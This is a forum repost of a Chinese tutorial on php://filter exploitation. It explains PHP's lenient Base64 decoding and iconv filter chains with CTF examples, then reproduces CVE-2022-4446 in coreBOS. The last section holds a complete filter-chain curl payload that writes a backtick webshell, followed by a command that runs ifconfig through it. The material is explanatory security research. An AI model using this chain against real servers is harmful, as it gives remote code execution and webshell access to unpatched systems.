安全矩阵

 找回密码
 立即注册
搜索
查看: 802|回复: 0

php://filter过滤器利用之代码执行漏洞

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2023-2-2 10:27:04 | 显示全部楼层 |阅读模式
原文链接:php://filter过滤器利用之代码执行漏洞

0x00 前言
在渗透中经常会利用php://filter结合其他漏洞实现RCE的攻击,本文主要介绍在PHP中使用filter过滤器通过Base64的宽松解析(当需要解析的字符串中含有Base64表中不存在的字符时,不会报错,而是将其丢弃并继续解析)以及不同字符集之间转换生成一句话木马配合文件包含漏洞造成的代码执行。
0x01 php://filter 介绍
php://filter是一种元封装器,是PHP中独有的一个协议,设计用于数据流打开时的筛选过滤应用,这个协议可以用来做文本格式化预处理。
  *格式为:php://filter/[read|write =]【过滤器】/resource=【目标文件】
0x02 Base64编解码的特性
Base64编码
Base64是一组二进制到文本的编码方案,Base64使用64个可打印ASCII字符(A-Za-z0-9+/)将任意字节序列数据编码成ASCII字符串。
Base64编码对照表
Base64 6位编码,在Base64编码时首先将被编码字符转换为8位的二进制,Base64 编码文本的每四个字符(4 6位字节 = 4 × 6 = 24 位)代表三个8位字节的未编码文本或数据( 3 8位字节 = 3 × 8 = 24 位),也就是说4Base64编码好的字符对应3个未编码的原始字符。这意味着当未编码输入的长度不是三的倍数时,编码输出必须添加填充以使其长度为四的倍数。填充字符"=",表示不需要更多位进行完全编码。
Base64编码中不需要"="补位的情况
Base64编码中不长度不足需要"="补位的情况
Base64解码
Base64解码就是Base64编码的逆向操作,填充字符"="作为结尾首先被去除掉,其余过程和编码过程大致类型可以参考Base64的编码对照表。
PHPBase64的宽松解析
PHP中的Base64解码器有一个特性,就是它只认识Base64中的64个可见字符和填充字符"=",如果需要解码的Base64中包含其他字符那么Base64解码器会直接忽略这些字符就像它们不存在一样。
PHPBase64解码器宽松解析的示例
从示例中可以看到,在待解码的Base64中添加一些非Base6464个字符的其他字符,并不影响整体的解码过程。但其中"="Base64中只可以出现一次,因为PHPbase64解码程序会把"="第一次出现的位置视作base64编码内容的结束位置。
0x03 CTF中对php://filter的利用
示例一:CTFPHP include 文件读取
这是CTF中的两个PHP文件,题目的要求是在仅允许本地文件包含的环境中读取注释里flag的内容。
#1.php
<?php
    include($_GET[file]);
?>
#2.php
<?php
    echo "hello world";
    # flag{yunying lab}
?>
当我们直接包含目标PHP文件时被包含的文件合乎PHP语法,会被直接执行,这里的flag在注释中所以内容不会被输出 。
而当包含的文件内容不符合PHP语法时,会被当作普通文本输出。这时我们可以使用php://filter中的转换过滤器convert.base64-encode可以对目标进行Base64编码操作从而使被包含文件不符合PHP语法直接读取出注释中的内容。
示例二:CTFPHP exit 绕过
这是CTF中的一个PHP文件,题目的要求是通过该PHP文件写入一个木马文件。
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>
可以看到在本题中存在一个file_put_contents函数可以将字符串拼接在某个文件中从而达到写入木马的作用。但问题是在我们要写入的这个文件时会在文件头部追加<?php exit; ?>,这意味着我们后面插入的数据无论如何也不会被执行。这时我们可以使用php://filter中的转换过滤器convert.base64-decode可以对目标进行Base64解码操作从而去除掉exit
经过上面PHPBase64宽松解析的实验可知PHPBase64解码器只会解析它认识的数据,不认识的会被忽略掉。这时<?php exit; ?>PHP Base64解码器中可以被解析的就只剩下phpexit 7位字符了,在Base64中每4Base64字符对应3位原始字符,而这里我们有7Base64的原始字符并不符合Base64,因此我们需要手动加一个字符将其补齐8位对应6个原始字符。
最后我们构造的payload应该是这样的:
最后使用php://filter过滤器对拼接好的payload进行Base64解码成功写入一个可以执行的一句话木马。
0x04 文件包含导致的命令执行
编码预置字符
在某些编码中会存在固定的前缀作为该编码字符的开始,在Unicode UTF-16RFC 2781 中表明为系统所提供的字节顺序。
在互联网消息的韩语字符编码(ISO-2022-KR)的RFC文档中表明:
这意味着要ISO-2022-KR编码的消息必须以序列"\x1b$)C"开头。
将任意字符插入输出流
在世界范围内,有近 7000 种口头语言。为了让地球上的大多数人都能从互联网中受益并相互交流,必须启用许多可打印的字符。我们都知道我们的基本 ASCII 编码表,但它太小了,无法用日语表达,甚至无法用包含"λ "" ν "" π "等字符的希腊语表达。因此,为了能够打印来自其他语言的字符,甚至是表情符号,☺,创建了许多编码表以在可能的情况下将字符从一种语言转换甚至转换为另一种语言。在不同编码中进行转换这一过程中会存在由编码长度、前置字符等引起的字符内容改变甚至可以生成新的字符,最典型的案例就是SQL注入中的宽字节注入。
通过命令iconv l可以在 Linux 上枚举转换表别名。
这些转换表可以通过php://convert.iconv.*.*过滤器进行使用,在激活 iconv 的前提下可以使用 convert.iconv.* 压缩过滤器, 等同于用 iconv() 处理所有的流数据。该过滤器不支持参数,但可使用输入/输出的编码名称,组成过滤器名称,比如convert.iconv.<input-encoding>.<output-encoding>convert.iconv.<input-encoding>/<output-encoding> (两种写法的语义都相同)。
示例将C添加到字符串中
我们可以使用PHP函数iconv()进行字符编码,在这个示例中我们将UTF8字符串"yunying"转变为ISO2022KR后再进行输出。从上文中的编码表可以看到ISO2022KR编码的消息以序列"\x1b$)C"开头,这样就可以将大写字母"C"添加到串"yunying"之前了。
而在编码转换过程中所产生的一些垃圾字符我们则可以使用PHPBase64的宽松解析进行消除,如果在这些垃圾字符中产生了"="这种会影响Base64解码的字符则可以使用UTF7进行消除,因为在UTF7中不使用"="作为填充字符。
构造PHP过滤器利用payload的脚本
通过上述的编码过程我们可以生成任意Base64字符,通过对生成的字符进行Base64解码后我们基本可以得到任意原始字符,再将我们构造的原始payloadphp://filter过滤器进行拼接最终构成有效的攻击载荷。
注:有效文件路径的要求
php://filter过滤器有一个必要的参数,resource 它指定了你要筛选过滤的数据流。这意味着必须要知道服务器上的一个有效文件路径,为了避免对服务器上的有效文件路径进行猜测可以使用php://temp作为整个过滤器链的输入资源。(php://temp流支持读写操作,默认当写入的数据达到2MB时,数据将由写入在内存变为写入到临时文件。写入的临时文件名为sys_get_temp_dir()函数获取的目录下以"php"开头的随机文件名;可以使用"php://temp/maxmemory:NN"形式设定超过NN字节时数据才写入到临时文件;php://temp流比较适合用于存放数据量比较大,且需要重复读取的数据。)
githubsynacktiv编写了一个脚本可以快速使用php://convert.iconv.*.*过滤器字符转化生成payload,其中使用的方法就是本文中所介绍的。
0x05 coreBOS代码执行漏洞(CVE-2022-4446)
coreBOSJPL TSolucio开源的一个能够管理日常业务需求的商业软件,coreBOS 8.0 之前版本存在文件包含漏洞。
coreBOS install目录下MigrationDbBackup.php 中存在一个文件包含点。
其中require_once 的路径中存在用户可控参数$source_directory,该参数值从$_SESSION['migration_info']['source_directory']中取出。我们需要找到$_SESSION['migration_info']['source_directory']何时被赋值。发现在install目录下ConfirmMigrationConfig.php$_SESSION['migration_info']['source_directory']被定义赋值。
构造payload
curl 'http://127.0.0.1/corebos-filterall/install/ConfirmMigrationConfig.php?source_directory=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=.'  -b ./cookie.txt -c ./cookie.txt
curl 'http://127.0.0.1/corebos-filterall/install.php?file=MigrationDbBackup.php&1=ifconfig'  -b ./cookie.txt -c ./cookie.txt -o
这个时候我们可以将resource=的内容设置为"."
最后拼接完的内容就是resource=./config.inc.php可以正常进行利用。
当然也可以直接使用php://temp,也可以成功执行。
注:<?php echo `$_GET[1]`; ?> PHP中使用`反引号`可以执行系统命令
0x06 参考链接:
https://www.cnblogs.com/linuxsec/articles/12684259.html
https://github.com/synacktiv/php_filter_chain_generator
https://huntr.dev/bounties/718f1be6-3834-4ef2-8134-907a52009894/


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:48 , Processed in 0.014042 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表